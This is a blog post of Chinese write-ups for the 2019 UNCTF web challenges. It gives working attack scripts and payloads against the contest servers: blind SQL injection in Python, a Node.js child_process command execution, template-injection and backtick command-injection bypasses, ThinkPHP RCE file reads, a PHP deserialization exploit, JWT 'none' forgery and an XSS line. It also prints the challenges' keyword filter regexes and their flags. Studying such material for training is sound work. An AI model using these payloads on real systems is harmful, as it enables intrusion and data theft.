2019UNCTF WEB题解
Twice_Insert
利用update处存在盲注,修改密码后,注入布尔语句回显不一致
import requests
import string
import random
str1= string.printable
def regestr(username):
urlregester = "http://101.71.29.5:10002/login_create.php"
data1 = {
'username':username,
'password':'zxasqw159',
're_password':'zxasqw159',
'submit':'Register'
}
repregester = requests.post(urlregester,data=data1)
def Register(username):
urlregester = "http://101.71.29.5:10002/login_create.php"
data1 = {
'username':username,
'password':'zxasqw159',
're_password':'zxasqw159',
'submit':'Register'
}
repregester = rep.post(urlregester,data=data1)
sess=repregester.headers['Set-Cookie'][10:36]
return sess
# first to register new username id
result=''
for j in range(1,80):
for i in str1:
rep=requests.session()
a=random.randint(1,9999999)
username2 = f'c888{str(a)}'
#print(username2)
regestr(username2)
#username2 = f"oswor{str(a)}' && ascii(substr((select group_concat(`1`) from (select 1 union select * from fl4g)redforce),{j},1))={ord(i)}#"
username2 = f"c888{str(a)}' && ascii(substr((select e.1 from (select * from (select 1)a union select * from fl4g)e limit 1 offset 1),{j},1))={ord(i)}#"
cookies={
'PHPSESSID':Register(username2),
'Auth':'1'
}
urllogin="http://101.71.29.5:10002/login.php"
data2 = {
'login_user':username2,
'login_password':'zxasqw159',
'mysubmit':'Login'
}
urllogin = rep.post(url=urllogin,data=data2)
replogin = urllogin.text
print(username2)
#print(cookies)
urlchange = "http://101.71.29.5:10002/pass_change.php"
data3= {
"current_password":'zxasqw159',
"password":'123456',
"re_password":'123456',
'submit':'Reset'
}
repchange= rep.post(urlchange,data=data3,cookies=cookies)
if "successfully" in repchange.text:
result+=i
print(result)
break
UNCTF{585ae8df50433972bb6ebd76e3ebd9f4}
简单的备忘录
原题
参考链接:
https://github.com/testerting/hacker101-ctf/tree/master/bugdb_v2/flag0
https://github.com/testerting/hacker101-ctf/tree/master/bugdb_v2/flag0
GophSql常用语句测试
{__schema{types{name,fields{name}}}}
mutation{updateMemoInfo(mid:1,title:"1' or sleep(3)#"){ok}}
原因为类控制不完全,导致可以读到隐藏数据
query{
allUsers{
edges{
node{
id
username
memos{
pageInfo{
startCursor
endCursor
}
edges{
cursor
node{
id
content
title
private
userId
}
}
}
}
}
}
}
checkin
找到交互的点,只有calc
需要将空格替换掉,否则会爆undefined,使用了split分割e
/calc require('child_process').execSync('cat${IFS}/flag').toString("utf8").trim()
审计一下世界上最好的语言吧
匹配"/{if:(.*?)}(.*?){end if}/is"
截取字符进行替换拼接
在看模板,可以看到{haha:searchword}与{haha:searchnum}
是紧挨的状态,可以利用此处进行正则匹配
payload
http://101.71.29.5:10003/?content=%3Csearch%3E{i{haha:type}%3C/search%3E&searchnum={end%20if}&type=f:phpinfo()}
http://101.71.29.5:10003/?content=<search>{i{haha:type}.php')}</search>&searchnum={end if}&type=f:readfile('flag
bypass
考点是利用正则匹配中 \\
匹配不到\
,这题刚放出来存在bug,由于\\
存在原因直接将反引号
释放出来。直接利用反引号和通配符执行命令
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
$a ='"' . $a . '"';
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
$b = "";
$b = '"' . $b . '"';
$cmd = "file $a $b";
var_dump($cmd);
str_replace(" ","","$cmd");
system($cmd);
?>
payload
a=`/bi?/gr?p+-R+ctf`
题目修改后
\
转义双引号,%20#
为命令终止符号逃逸最后一个双引号执行命令的限制。
easy_pentest
- 利用tp生成的日志,信息泄露
- 利用tp rce 读取waf.php
<?php
/**
* 检测php标记和php函数
*
*/
$into_safe = FALSE;
$safe_key_name = "safe_key";
$safe_key = "easy_pentesnt_is_s0fun";
function check_attack_keyword($str){
$parrten_str = "/[<?]\bphp\b|^<[?]=.*$|^<[?].*$|\bphpinfo\b|\bbase64_decode\b|\bfile_get_contents\b|\breadfile\b|\bfile\b|\bfopen\b|\bconvert_uuencode\b|^.*php:\/\/.*$/i";
if (preg_match($parrten_str,$str)){
die("this way is too easy!");
}
}
//check safekey
function check_safe_key($str_k,$str_v){
global $safe_key_name,$safe_key;
if ($str_k == $safe_key_name && $str_v == $safe_key){
return TRUE;
}
}
//safe redirect
function is_safe($safe_state){
if($safe_state){
echo "<script type='text/javascript'>";
echo "window.location.href='/public/static/is_safe_page.html';";
echo "</script>";
}else{
echo "<script type='text/javascript'>";
echo "window.location.href='/public/static/not_safe.html';";
echo "</script>";
die();
}
}
function main(){
global $into_safe;
foreach($_GET as $key => $value){
if(is_array($value)){
foreach($value as $k => $v){
if(check_safe_key($k,$v)){
$into_safe = TRUE;
}
check_attack_keyword($v);
}
}
else{
if(check_safe_key($key,$value)){
$into_safe = TRUE;
}
check_attack_keyword($value);
}
}
is_safe($into_safe);
foreach($_POST as $key => $value){
if(is_array($value)){
foreach($value as $k => $v){
check_attack_keyword($v);
}
}
else{
check_attack_keyword($value);
}
}
}
main();
?>
getshell思路
参考文章:https://xz.aliyun.com/t/6106
php7 无法执行assert
日志无法写入
禁用常见危险函数
<?php <? file被过滤
/[<?]\bphp\b|^<[?]=.*$|^<[?].*$|\bphpinfo\b|\bbase64_decode\b|\bfile_get_contents\b|\breadfile\b|\bfile\b|\bfopen\b|\bconvert_uuencode\b|^.*php:\/\/.*$/i
http://101.71.29.5:10021/public/index.php?safe_key=easy_pentesnt_is_s0fun&s=capcha5. 利用filter[] 多处理,这道题把`Session::set`给删了,写不了shell。但是依然生成PHPSESSID,在探测temp目录发现没有权限,其实就可以确定session文件写在这里面 ![1572070684595](./1572070684595.png) 找flag文件
_method=__construct&method=get&filter[]=scandir&filter[]=var_dump&server[]=-1&get[]=/home/
![1572070928246](./1572070928246.png)
/home/flag_1sh3r3.txt
读取可以用`think\__include_file` 也可以`show_source`
```http
http://101.71.29.5:10021/public/index.php?safe_key=easy_pentesnt_is_s0fun&s=capcha
_method=__construct&method=get&filter[]=show_source&server[]=-1&get[]=/home/flag_1sh3r3.txt
# flag{9d35311fd3a12a9f81z6bfe4117e5540}
k&k
m参数消毒不完全,直接伪协议扒光所有代码。
1.存在备份文件access.php.bak
分析
exp
<?php
class debug{
public $funny = 'O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}';
}
class session{
public $username;
public function __construct()
{
$this->username=(new debug());
}
}
$a=new session();
echo serialize($a);
echo "\r\n";
function cookie_encode($str) {
$key = base64_encode($str);
$key = bin2hex($key);
$arr = str_split($key, 2);
$cipher = '';
foreach($arr as $value) {
$num = hexdec($value);
$num = $num + 240;
$cipher = $cipher.'&'.dechex($num);
}
return $cipher;
}
echo cookie_encode(serialize($a));
echo "\r\n";
function cookie_decode($str) {
$data = urldecode($str);
$data = substr($data, 1);
$arr = explode('&', $data);
$cipher = '';
foreach($arr as $value) {
$num = hexdec($value);
$num = $num - 240;
$cipher = $cipher.'%'.dechex($num);
}
$key = urldecode($cipher);
$key = base64_decode($key);
return $key;
}
$cookie = "%26144%2616a%2615f%26123%2613f%26159%2613a%2616a%2614a%26148%2613e%2616a%26151%26147%26129%26165%26139%2615a%2615f%2616a%2613f%2615e%26164%2616a%2613f%2615a%26149%26126%26139%2615d%2613e%2615f%26152%26122%26129%2616a%2614a%26143%26139%26127%26151%26144%2615f%26168%2613f%26123%2613d%26126%2613d%2615a%2615f%26159%26151%26147%26141%26159%2613f%26122%2615b%26126%2613d%26144%26164%2616a%2613f%2615a%26157%26126%26139%2615e%26146%2616a%2614a%26148%2613a%26165%26149%26147%26121%2615c%26139%2615a%26164%2616a%2613f%2615a%26153%26126%26139%2615e%26146%26165%26149%26147%26142%26164%26151%26147%26124%26159%2613f%26123%26120%2612d";
echo cookie_decode($cookie);
easy_admin
重置密码处盲注: ‘ || ascii(substr(password),{i},1))={j}#,得到密码一半的flag,利用密码登录
flag{never_too
import requests import string url="http://101.71.29.5:10045/index.php?file=forget" str1 = string.printable result='' for i in range(1,15): for j in str1: data ={ 'username':f"' || ascii(substr(password,{i},1))={ord(j)}#" } rep = requests.post(url,data=data) print(data) if "ok" in rep.text: result+=j print(result) break
- 在修改referer头为127.0.0.1 得到另一半flag
flag: never_too_late_to_x
NSB Reset Password
- 先给osword发送重置密码邮件,
- 使用收到的验证码,进入到重置密码界面
- 再发送给admin重置密码,session更改username为admin
- 接着修改密码zxasqw159
- 登录admin zxasqw159即可得到flag
加密的备忘录
比简单备忘录多加了个unicode
混淆
/graphql提供了graphql查询,查下结构,
{__schema{types{name,fields{name}}}}
Query类多出checkPass方法,查询Memo_接口password
\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231
要有了产于了主方以定人方于有成以他的爱爱
用checkPass,输入password:1 回显
"\u4e3a\u6211\u7231\u7231" not valid password
为我爱爱
思路:输入字符与原密文比较得到明文
- 爆破第一位,checkPass函数传入的参数password:[0-9a-zA-Z],观察结果中带有密文password的第一个unicode编码:\u8981,发现[H-K]都满足
- 第一位设置区间为[H-K],第二位设置区间[0-9a-zA-Z],只要得到unicode编码为:\u8981\u6709,即为对应的明文。发现当第一位为H,第二位为[a-o]时,都可以得到
\u8981\u6709。
确定第一位明文为H,接着在对第二位进行爆破 - 第二位设置区间[a-o],第三位设置区间[0-9a-zA-Z]
不会写脚本直接手lu,得到password:HappY4Gr4phQL
Arbi
登录注册界面
登录之后,服务端本地开启9000端口读取本地文件,路径依据注册的账号,可以便利目录读文件
Express框架,读取http://127.0.0.1:9000/upload/../package.json?.jpg
后端使用jwt构造身份验证
- 利用express当传入algorithm为none,会使用algorithm none解密
var secret = global.secretlist[id];
传入不存在的id,使得secret为undefined
在login界面增加伪造token,并登录,进入admin后台,session.name=’admin’,就能够访问admin23333_interface.js
admin23333_interface.js有个文件读取接口,参数可控
用到两个trick:
- 传入a[b]=1 会转为a={“b”:1}构造为对象,正则匹配无法识别对象,爆warnnig绕过第一个if
- length不仅可以取字符串长度还可以取数组长度,把filename设数组,再配合下面的循环 即可完美绕过过滤 而express 中当碰到两个同名变量时,会把这个变量设置为数组,例如a=123&a=456 解析后 a = [123,456],所以最终组合成
payload:<http://183.129.189.60:10047/admin23333_interface?name[filename]=../&name[filename]=f&name[filename]=l&name[filename]=a&name[filename]=g>
<img src='123' onerror='alert(1)' >
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!